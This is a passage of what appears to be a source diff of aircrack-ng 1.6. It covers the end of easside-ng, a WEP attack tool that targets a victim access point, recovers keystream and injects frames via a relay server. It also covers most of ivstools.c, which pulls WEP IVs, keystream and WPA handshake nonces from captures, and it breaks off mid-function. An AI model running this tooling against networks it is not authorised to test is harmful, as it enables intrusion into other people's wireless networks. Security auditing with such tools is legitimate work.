+	REQUIRE(sizeof(data) == 6u);
+
+	if (recv(es->es_buddys, &data, sizeof(data), 0) != sizeof(data))
+		err(1, "buddy_inet_check: recv()");
+
+	if (es->es_astate != AS_CHECK_INET) return;
+
+	memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip));
+	printf("Internet w0rx.  Public IP %s\n", inet_ntoa(es->es_pubip));
+
+	data.id = ntohs(data.id);
+	if (data.id != es->es_rpacket_id)
+	{
+		printf("seq doesn't match %d %d\n", data.id, es->es_rpacket_id);
+		return;
+	}
+
+	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
+
+	rtt = msec_diff(&es->es_rtt, &now);
+	es->es_astate = AS_REDIRECT;
+	printf("Rtt %dms\n", rtt);
+
+	if (es->es_iponly) reset(es);
+}
+
+static void buddy_packet(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[2048];
+	unsigned short * p = (unsigned short *) buf;
+	unsigned short id, len;
+	struct rpacket * rp;
+	struct ieee80211_frame * wh;
+	unsigned char * ptr;
+	int got = 0;
+	int rc;
+
+	if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4)
+	{
+		if (rc == -1) err(1, "buddy_packet: recv() id & len");
+		printf("buddy_packet: recv id len got %d/%d\n", rc, 4);
+		exit(EXIT_FAILURE);
+	}
+
+	id = ntohs(*p);
+	p++;
+	len = ntohs(*p);
+	p++;
+
+	ALLEGE(len + 6 <= (int) sizeof(buf));
+
+	ptr = &buf[6];
+	got = 0;
+	while (got != len)
+	{
+		int rem = len - got;
+		rc = recv(es->es_buddys, ptr, rem, 0);
+		if (rc == -1) err(1, "buddy_packet: recv() packet");
+		got += rc;
+		ptr += rc;
+	}
+
+	if (es->es_astate != AS_REDIRECT) return;
+
+	printf_time("Got packet %d", id);
+	if (es->es_rtt_id == id)
+	{
+		struct timeval now;
+		int rtt;
+
+		if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
+
+		rtt = msec_diff(&es->es_rtt, &now);
+		es->es_rtt_id = 0;
+		printf(" rtt %dms", rtt);
+
+		if (es->es_srtt == 0)
+			es->es_srtt = rtt;
+		else
+		{
+			es->es_srtt += rtt;
+			es->es_srtt >>= 1;
+		}
+		if (es->es_srtt == 0) es->es_srtt = 1;
+
+		es->es_txto_redirect = es->es_srtt << 1;
+		if (es->es_txto_redirect < S_MIN_RTO) es->es_txto_redirect = S_MIN_RTO;
+
+		printf(" srtt %dms rto %dms", es->es_srtt, es->es_txto_redirect);
+	}
+	rp = get_packet(es, id);
+	if (!rp)
+	{
+		printf(" [not in queue]\n");
+		return;
+	}
+
+	wh = (struct ieee80211_frame *) rp->rp_packet;
+	memcpy(buf, get_da(wh), 6);
+	memcpy(&buf[6], get_sa(wh), 6);
+
+	len += 6;
+	if (ti_write(es->es_ti, buf, len) != len) err(1, "ti_write()");
+
+	remove_packet(es, id);
+	printf(" qlen %d\n", queue_len(es));
+	clear_timeout(es);
+}
+
+static void read_buddy(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	unsigned short cmd;
+	int rc;
+
+	rc = recv(es->es_buddys, &cmd, sizeof(cmd), 0);
+	if (rc != sizeof(cmd)) err(1, "read_buddy: can't get cmd\n");
+
+	cmd = ntohs(cmd);
+
+	switch (cmd)
+	{
+		case S_CMD_INET_CHECK:
+			buddy_inet_check(es);
+			break;
+
+		case S_CMD_PACKET:
+			buddy_packet(es);
+			break;
+
+		default:
+			abort();
+			break;
+	}
+}
+
+static void read_tap(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
+	int dlen;
+	unsigned char * datas;
+	unsigned char dst[6];
+	struct timeval old;
+
+	memset(buf, 0, sizeof(buf));
+
+	dlen = ti_read(es->es_ti, data - 2, S_MTU + 14);
+	if (dlen == -1) err(1, "ti_read()");
+	memcpy(dst, data - 2, 6);
+
+	/* 802.11 header */
+	es->es_txseq++;
+	fill_basic(es, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
+	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
+	memcpy(wh->i_addr3, dst, 6);
+
+	/* iv */
+	memcpy(data, es->es_iv, 3);
+	data[3] = 0;
+	data += 4;
+	datas = data;
+
+	/* llc snap */
+	memcpy(data, S_LLC_SNAP, 6);
+	data += 8;
+
+	dlen = dlen - 14 + 8;
+	put_crc32(datas, dlen);
+	ALLEGE(es->es_prgalen >= dlen + 4);
+	xor(datas, datas, es->es_prga, dlen + 4);
+
+	printf_time("Sending frame from tap %d\n", dlen);
+	old = es->es_txlast;
+	send_frame(es, wh, sizeof(*wh) + 4 + dlen + 4);
+	es->es_txlast = old;
+}
+
+static void own(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	fd_set rfds;
+	struct timeval tv, *tvp;
+	int maxfd;
+
+	if (es->es_prgalen) es->es_astate = AS_PRGA_EXPAND;
+	if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;
+
+	for (;;)
+	{
+		FD_ZERO(&rfds);
+		maxfd = wi_fd(es->es_wi);
+		FD_SET(maxfd, &rfds);
+		memset(&tv, 0, sizeof(tv));
+		tvp = NULL;
+
+		if (es->es_buddys)
+		{
+			FD_SET(es->es_buddys, &rfds);
+			if (es->es_buddys > maxfd) maxfd = es->es_buddys;
+		}
+
+		if (es->es_astate > AS_PRGA_EXPAND && es->es_state == S_ASSOCIATED)
+		{
+			int tapfd = ti_fd(es->es_ti);
+
+			FD_SET(tapfd, &rfds);
+			if (tapfd > maxfd) maxfd = tapfd;
+		}
+
+		switch (es->es_state)
+		{
+			case S_SEARCHING:
+				if (!es->es_chanlock) chan_hop(es, &tv);
+				break;
+
+			case S_SENDAUTH:
+				send_auth(es, &tv);
+				break;
+
+			case S_SENDASSOC:
+				send_assoc(es, &tv);
+				break;
+
+			case S_ASSOCIATED:
+				associated(es, &tv);
+				break;
+
+			default:
+				abort();
+				break;
+		}
+
+		if (tv.tv_sec || tv.tv_usec) tvp = &tv;
+
+		if (select(maxfd + 1, &rfds, NULL, NULL, tvp) == -1) err(1, "select()");
+
+		if (FD_ISSET(wi_fd(es->es_wi), &rfds))
+		{
+			read_wifi(es);
+		}
+
+		if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds)) read_buddy(es);
+
+		if (FD_ISSET(ti_fd(es->es_ti), &rfds)) read_tap(es);
+	}
+}
+
+static void usage(char * p)
+{
+	UNUSED_PARAM(p);
+
+	char * version_info
+		= getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf("\n"
+		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: easside-ng <options>\n"
+		   "\n"
+		   "  Options:\n"
+		   "\n"
+		   "       -h                : This help screen\n"
+		   "       -v   <victim mac> : Victim BSSID\n"
+		   "       -m      <src mac> : Source MAC address\n"
+		   "       -i           <ip> : Source IP address\n"
+		   "       -r    <router ip> : Router IP address\n"
+		   "       -s     <buddy ip> : Buddy-ng IP address (mandatory)\n"
+		   "       -f        <iface> : Interface to use (mandatory)\n"
+		   "       -c      <channel> : Lock card to this channel\n"
+		   "       -n                : Determine Internet IP only\n"
+		   "\n",
+		   version_info);
+	free(version_info);
+}
+
+static void load_prga(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	int fd;
+	int rc;
+
+	fd = open(S_PRGA_LOG, O_RDONLY);
+	if (fd == -1) return;
+
+	rc = read(fd, es->es_iv, 3);
+	if (rc != 3)
+	{
+		printf("Can't read IV from %s\n", S_PRGA_LOG);
+		exit(EXIT_FAILURE);
+	}
+
+	rc = read(fd, es->es_prga, sizeof(es->es_prga));
+	if (rc == -1) err(1, "load_prga: read()");
+	es->es_prgalen = rc;
+	close(fd);
+
+	printf("Loaded %d PRGA bytes from %s\n", es->es_prgalen, S_PRGA_LOG);
+}
+
+int main(int argc, char * argv[])
+{
+	int ch;
+	struct east_state * es = &_es;
+
+	init_defaults(es);
+
+	while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1)
+	{
+		switch (ch)
+		{
+			case 'c':
+				es->es_chanlock = atoi(optarg);
+				break;
+
+			case 'f':
+				strncpy(es->es_ifname, optarg, sizeof(es->es_ifname) - 1);
+				es->es_ifname[sizeof(es->es_ifname) - 1] = 0;
+				break;
+
+			case 'v':
+				if (str2mac(es->es_apmac, optarg) == -1)
+				{
+					printf("Can't parse AP mac\n");
+					exit(EXIT_FAILURE);
+				}
+				break;
+
+			case 'm':
+				if (str2mac(es->es_mymac, optarg) == -1)
+				{
+					printf("Can't parse my mac\n");
+					exit(EXIT_FAILURE);
+				}
+				es->es_setmac = 1;
+				break;
+
+			case 'i':
+				if (!inet_aton(optarg, &es->es_myip))
+				{
+					printf("Can't parse my ip\n");
+					exit(EXIT_FAILURE);
+				}
+				break;
+
+			case 'r':
+				if (!inet_aton(optarg, &es->es_rtrip))
+				{
+					printf("Can't parse rtr ip\n");
+					exit(EXIT_FAILURE);
+				}
+				break;
+
+			case 's':
+				if (!inet_aton(optarg, &es->es_srvip))
+				{
+					printf("Can't parse srv ip\n");
+					exit(EXIT_FAILURE);
+				}
+				break;
+
+			case 'n':
+				es->es_iponly = 1;
+				break;
+
+			case 'h':
+			default:
+				usage(argv[0]);
+				exit(EXIT_SUCCESS);
+		}
+	}
+
+	if (es->es_srvip.s_addr == 0)
+	{
+		printf("Need at least server IP\n");
+		usage(argv[0]);
+		exit(EXIT_FAILURE);
+	}
+
+	load_prga(es);
+	open_wifi(es);
+	open_tap(es);
+	set_mac(es);
+	if (es->es_chanlock) set_chan(es);
+
+	if (signal(SIGINT, sighand) == SIG_ERR) err(1, "signal(SIGINT)");
+	if (signal(SIGTERM, sighand) == SIG_ERR) err(1, "signal(SIGTERM)");
+
+	printf_time("Ownin...\n");
+	own(es);
+
+	die("the end");
+	exit(EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/easside-ng/easside.h Changed

aircrack-ng-1.6.tar.gz/src/ivstools Added

aircrack-ng-1.6.tar.gz/src/ivstools/ivstools.c Added

@@ -0,0 +1,987 @@
+/*
+  *  IVS Tools - Convert or merge IVs
+  *
+  *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+  *  Copyright (C) 2004, 2005  Christophe Devine (pcap2ivs and mergeivs)
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <time.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/osdep/byteorder.h"
+#include "aircrack-ng/osdep/packed.h"
+#include "aircrack-ng/third-party/ieee80211.h"
+#include "aircrack-ng/ce-wep/uniqueiv.h"
+#include "aircrack-ng/osdep/byteorder.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/third-party/eapol.h"
+#include "aircrack-ng/tui/console.h"
+
+#define FAILURE -1
+#define IVS 1
+#define WPA 2
+#define ESSID 3
+
+#include "aircrack-ng/support/station.h"
+
+/* bunch of global stuff */
+
+static struct globals
+{
+	struct AP_info *ap_1st, *ap_end;
+	struct ST_info *st_1st, *st_end;
+
+	unsigned char prev_bssid[6];
+	FILE * f_ivs; /* output ivs file      */
+} G;
+
+static void usage(int what)
+{
+	char * version_info
+		= getVersion("ivsTools", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf("\n  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n   usage: ",
+		   version_info);
+	free(version_info);
+	if (what == 0 || what == 1)
+		printf("ivstools --convert <pcap file> <ivs output file>\n"
+			   "        Extract ivs from a pcap file\n");
+	if (what == 0) printf("       ");
+	if (what == 0 || what == 2)
+		printf("ivstools --merge <ivs file 1> <ivs file 2> .. <output file>\n"
+			   "        Merge ivs files\n");
+}
+
+static int merge(int argc, char * argv[])
+{
+	int i, n;
+	unsigned long nbw;
+	unsigned char buffer[1024];
+	FILE *f_in, *f_out;
+	struct ivs2_filehdr fivs2;
+
+	if (argc < 5)
+	{
+		usage(2);
+		return (EXIT_FAILURE);
+	}
+
+	// Check filenames are not empty
+	for (i = 2; i < argc - 1; ++i)
+	{
+		if (argv[i][0] == 0)
+		{
+			printf("Filename #%d is empty, aborting\n", i - 1);
+			return (EXIT_FAILURE);
+		}
+	}
+
+	printf("Creating %s\n", argv[argc - 1]);
+
+	if ((f_out = fopen(argv[argc - 1], "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		return (EXIT_FAILURE);
+	}
+
+	nbw = 0;
+
+	for (i = 2; i < argc - 1; ++i)
+	{
+		printf("Opening %s\n", argv[i]);
+
+		if ((f_in = fopen(argv[i], "rb")) == NULL)
+		{
+			fclose(f_out);
+			perror("fopen failed");
+			return (EXIT_FAILURE);
+		}
+
+		if (fread(buffer, 1, 4, f_in) != 4)
+		{
+			fclose(f_out);
+			fclose(f_in);
+			perror("fread file header failed");
+			return (EXIT_FAILURE);
+		}
+
+		if (memcmp(buffer, IVSONLY_MAGIC, 4) == 0)
+		{
+			fclose(f_out);
+			fclose(f_in);
+			printf("%s is an old .ivs file\n", argv[i]);
+			return (EXIT_FAILURE);
+		}
+
+		if (memcmp(buffer, IVS2_MAGIC, 4) != 0)
+		{
+			fclose(f_out);
+			fclose(f_in);
+			printf("%s is not an .%s file\n", argv[i], IVS2_EXTENSION);
+			return (EXIT_FAILURE);
+		}
+
+		if (fread(&fivs2, 1, sizeof(struct ivs2_filehdr), f_in)
+			!= (size_t) sizeof(struct ivs2_filehdr))
+		{
+			fclose(f_out);
+			fclose(f_in);
+			perror("fread file header failed");
+			return (EXIT_FAILURE);
+		}
+
+		if (fivs2.version > IVS2_VERSION)
+		{
+			fclose(f_out);
+			fclose(f_in);
+			printf("Error, wrong %s version: %d. Supported up to version %d.\n",
+				   IVS2_EXTENSION,
+				   fivs2.version,
+				   IVS2_VERSION);
+			return (EXIT_FAILURE);
+		}
+
+		if (i == 2)
+		{
+			(void) fwrite(buffer, 1, 4, f_out);
+			(void) fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), f_out);
+		}
+
+		while ((n = fread(buffer, 1, 1024, f_in)) > 0)
+		{
+			nbw += n;
+			(void) fwrite(buffer, 1, n, f_out);
+			printf("%lu bytes written\r", nbw);
+		}
+
+		fclose(f_in);
+
+		printf("\n");
+	}
+
+	fclose(f_out);
+
+	return (EXIT_SUCCESS);
+}
+
+// NOTE(jbenden): This is also in airodump-ng.c
+static int dump_add_packet(unsigned char * h80211, unsigned caplen)
+{
+	REQUIRE(h80211 != NULL);
+
+	int seq, clen;
+	size_t dlen;
+	size_t i;
+	size_t n;
+	unsigned z;
+	struct ivs2_pkthdr ivs2;
+	unsigned char * p;
+	unsigned char bssid[6];
+	unsigned char stmac[6];
+	unsigned char clear[2048];
+	int weight[16];
+	int num_xor, o;
+
+	struct AP_info * ap_cur = NULL;
+	struct ST_info * st_cur = NULL;
+	struct AP_info * ap_prv = NULL;
+	struct ST_info * st_prv = NULL;
+
+	/* skip packets smaller than a 802.11 header */
+
+	if (caplen < sizeof(struct ieee80211_frame)) return (FAILURE);
+
+	/* skip (uninteresting) control frames */
+
+	if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
+		return (FAILURE);
+
+	/* grab the sequence number */
+	seq = ((h80211[22] >> 4) + (h80211[23] << 4));
+
+	/* locate the access point's MAC address */
+
+	switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
+	{
+		case IEEE80211_FC1_DIR_NODS:
+			memcpy(bssid, h80211 + 16, 6); //-V525
+			break; // Adhoc
+		case IEEE80211_FC1_DIR_TODS:
+			memcpy(bssid, h80211 + 4, 6);
+			break; // ToDS
+		case IEEE80211_FC1_DIR_FROMDS:
+			memcpy(bssid, h80211 + 10, 6);
+			break; // FromDS
+		case IEEE80211_FC1_DIR_DSTODS:
+			memcpy(bssid, h80211 + 10, 6);
+			break; // WDS -> Transmitter taken as BSSID
+	}
+
+	/* update our chained list of access points */
+
+	ap_cur = G.ap_1st;
+	ap_prv = NULL;
+
+	while (ap_cur != NULL)
+	{
+		if (!memcmp(ap_cur->bssid, bssid, 6)) break;
+
+		ap_prv = ap_cur;
+		ap_cur = ap_cur->next;
+	}
+
+	/* if it's a new access point, add it */
+
+	if (ap_cur == NULL)
+	{
+		if (!(ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
+		{
+			perror("malloc failed");
+			return (FAILURE);
+		}
+
+		memset(ap_cur, 0, sizeof(struct AP_info));
+
+		if (G.ap_1st == NULL)
+			G.ap_1st = ap_cur;
+		else
+			ap_prv->next = ap_cur;
+
+		memcpy(ap_cur->bssid, bssid, 6);
+
+		ap_cur->prev = ap_prv;
+
+		ap_cur->uiv_root = uniqueiv_init();
+
+		G.ap_end = ap_cur;
+
+		ap_cur->ssid_length = 0;
+		ap_cur->wpa_stored = 0;
+		ap_cur->essid_stored = 0;
+	}
+
+#if 0
+	/* find wpa handshake */
+	if (h80211[0] == 0x10)
+	{
+		/* reset the WPA handshake state */
+
+		if (st_cur != NULL && st_cur->wpa.state != 0xFF) st_cur->wpa.state = 0;
+	}
+#endif
+
+	/* locate the station MAC in the 802.11 header */
+
+	switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
+	{
+		case IEEE80211_FC1_DIR_NODS:
+
+			/* if management, check that SA != BSSID */
+
+			if (memcmp(h80211 + 10, bssid, 6) == 0) goto skip_station;
+
+			memcpy(stmac, h80211 + 10, 6);
+			break;
+
+		case IEEE80211_FC1_DIR_TODS:
+
+			/* ToDS packet, must come from a client */
+
+			memcpy(stmac, h80211 + 10, 6);
+			break;
+
+		case IEEE80211_FC1_DIR_FROMDS:
+
+			/* FromDS packet, reject broadcast MACs */
+
+			if (h80211[4] != 0) goto skip_station;
+			memcpy(stmac, h80211 + 4, 6);
+			break;
+
+		case IEEE80211_FC1_DIR_DSTODS:
+			goto skip_station;
+	}
+
+	/* update our chained list of wireless stations */
+
+	st_cur = G.st_1st;
+	st_prv = NULL;
+
+	while (st_cur != NULL)
+	{
+		if (!memcmp(st_cur->stmac, stmac, 6)) break;
+
+		st_prv = st_cur;
+		st_cur = st_cur->next;
+	}
+
+	/* if it's a new client, add it */
+
+	if (st_cur == NULL)
+	{
+		if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
+		{
+			perror("malloc failed");
+			return (EXIT_FAILURE);
+		}
+
+		memset(st_cur, 0, sizeof(struct ST_info));
+
+		if (G.st_1st == NULL)
+			G.st_1st = st_cur;
+		else
+			st_prv->next = st_cur;
+
+		memcpy(st_cur->stmac, stmac, 6);
+
+		st_cur->prev = st_prv;
+
+		G.st_end = st_cur;
+	}
+
+	if (st_cur->base == NULL || memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
+		st_cur->base = ap_cur;
+
+skip_station:
+
+	/* packet parsing: Beacon or Probe Response */
+
+	if (h80211[0] == IEEE80211_FC0_SUBTYPE_BEACON
+		|| h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
+	{
+		p = h80211 + 36;
+
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			if (p[0] == 0x00) ap_cur->ssid_length = p[1];
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				/* found a non-cloaked ESSID */
+
+				n = p[1];
+
+				memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
+				memcpy(ap_cur->essid, p + 2, n);
+
+				if (G.f_ivs != NULL && !ap_cur->essid_stored)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags |= IVS2_ESSID;
+					ivs2.len += ap_cur->ssid_length;
+
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					/* write header */
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (EXIT_FAILURE);
+					}
+
+					/* write BSSID */
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (EXIT_FAILURE);
+						}
+					}
+
+					/* write essid */
+					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
+						!= (size_t) ap_cur->ssid_length)
+					{
+						perror("fwrite(IV essid) failed");
+						return (1);
+					}
+
+					ap_cur->essid_stored = 1;
+					return (ESSID);
+				}
+
+				for (i = 0; i < n; i++)
+					if ((ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32)
+						|| (ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160))
+						ap_cur->essid[i] = '.';
+			}
+
+			p += 2 + p[1];
+		}
+	}
+
+	/* packet parsing: Association Request */
+
+	if (h80211[0] == IEEE80211_FC0_SUBTYPE_ASSOC_REQ && caplen > 28)
+	{
+		p = h80211 + 28;
+
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				/* found a non-cloaked ESSID */
+
+				n = (p[1] > 32) ? 32 : p[1];
+
+				memset(ap_cur->essid, 0, 33);
+				memcpy(ap_cur->essid, p + 2, n);
+
+				if (G.f_ivs != NULL && !ap_cur->essid_stored)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags |= IVS2_ESSID;
+					ivs2.len += ap_cur->ssid_length;
+
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					/* write header */
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (EXIT_FAILURE);
+					}
+
+					/* write BSSID */
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (EXIT_FAILURE);
+						}
+					}
+
+					/* write essid */
+					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
+						!= (size_t) ap_cur->ssid_length)
+					{
+						perror("fwrite(IV essid) failed");
+						return (EXIT_FAILURE);
+					}
+
+					ap_cur->essid_stored = 1;
+					return (ESSID);
+				}
+
+				for (i = 0; i < n; i++)
+					if (ap_cur->essid[i] < 32
+						|| (ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160))
+						ap_cur->essid[i] = '.';
+			}
+
+			p += 2 + p[1];
+		}
+	}
+
+	/* packet parsing: some data */
+
+	if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_DATA)
+	{
+		/* check the SNAP header to see if data is encrypted */
+
+		z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
+				? 24
+				: 30;
+
+		if (z + 26 > caplen) return (FAILURE);
+
+		// check if WEP bit set and extended iv
+		if ((h80211[1] & IEEE80211_FC1_WEP) != 0 && (h80211[z + 3] & 0x20) == 0)
+		{
+			/* WEP: check if we've already seen this IV */
+
+			if (!uniqueiv_check(ap_cur->uiv_root, &h80211[z]))
+			{
+				/* first time seen IVs */
+
+				if (G.f_ivs != NULL)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags = 0;
+					ivs2.len = 0;
+
+					dlen = caplen - 24 - 4 - 4; // original data len
+					if (dlen > 2048) dlen = 2048;
+					// get cleartext + len + 4(iv+idx)
+					num_xor = known_clear(clear, &clen, weight, h80211, dlen);
+					if (num_xor == 1)
+					{
+						ivs2.flags |= IVS2_XOR;
+						ivs2.len += clen + 4;
+						/* reveal keystream (plain^encrypted) */
+						for (n = 0; n < (size_t)(ivs2.len - 4); n++)
+						{
+							clear[n] = (uint8_t)((clear[n] ^ h80211[z + 4 + n])
+												 & 0xFF);
+						}
+						// clear is now the keystream
+					}
+					else
+					{
+						// do it again to get it 2 bytes higher
+						num_xor = known_clear(
+							clear + 2, &clen, weight, h80211, dlen);
+						ivs2.flags |= IVS2_PTW;
+						// len = 4(iv+idx) + 1(num of keystreams) + 1(len per
+						// keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
+						ivs2.len += 4 + 1 + 1 + 32 * num_xor + 16 * sizeof(int);
+						clear[0] = (uint8_t) num_xor;
+						clear[1] = (uint8_t) clen;
+						/* reveal keystream (plain^encrypted) */
+						for (o = 0; o < num_xor; o++)
+						{
+							for (n = 0; n < (size_t)(ivs2.len - 4); n++)
+							{
+								clear[2 + n + o * 32] = (uint8_t)(
+									(clear[2 + n + o * 32] ^ h80211[z + 4 + n])
+									& 0xFF);
+							}
+						}
+						memcpy(clear + 4 + 1 + 1 + 32 * num_xor,
+							   weight,
+							   16 * sizeof(int));
+						// clear is now the keystream
+					}
+
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (EXIT_FAILURE);
+					}
+
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (EXIT_FAILURE);
+						}
+						ivs2.len -= 6;
+					}
+
+					if (fwrite(h80211 + z, 1, 4, G.f_ivs) != (size_t) 4)
+					{
+						perror("fwrite(IV iv+idx) failed");
+						return (EXIT_FAILURE);
+					}
+					ivs2.len -= 4;
+
+					if (fwrite(clear, 1, ivs2.len, G.f_ivs)
+						!= (size_t) ivs2.len)
+					{
+						perror("fwrite(IV keystream) failed");
+						return (EXIT_FAILURE);
+					}
+				}
+
+				uniqueiv_mark(ap_cur->uiv_root, &h80211[z]);
+				return (IVS);
+			}
+		}
+
+		z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
+				? 24
+				: 30;
+
+		if (z + 26 > caplen) return (FAILURE);
+
+		z += 6; // skip LLC header
+
+		/* check ethertype == EAPOL */
+		if (h80211[z] == 0x88 && h80211[z + 1] == 0x8E
+			&& (h80211[1] & 0x40) != 0x40)
+		{
+			z += 2; // skip ethertype
+
+			if (st_cur == NULL) return (FAILURE);
+
+			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) == 0)
+			{
+				memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
+				st_cur->wpa.state = 1;
+			}
+
+			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+
+			if (z + 17 + 32 > caplen) return (FAILURE);
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) == 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
+					st_cur->wpa.state |= 2;
+				}
+			}
+
+			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+
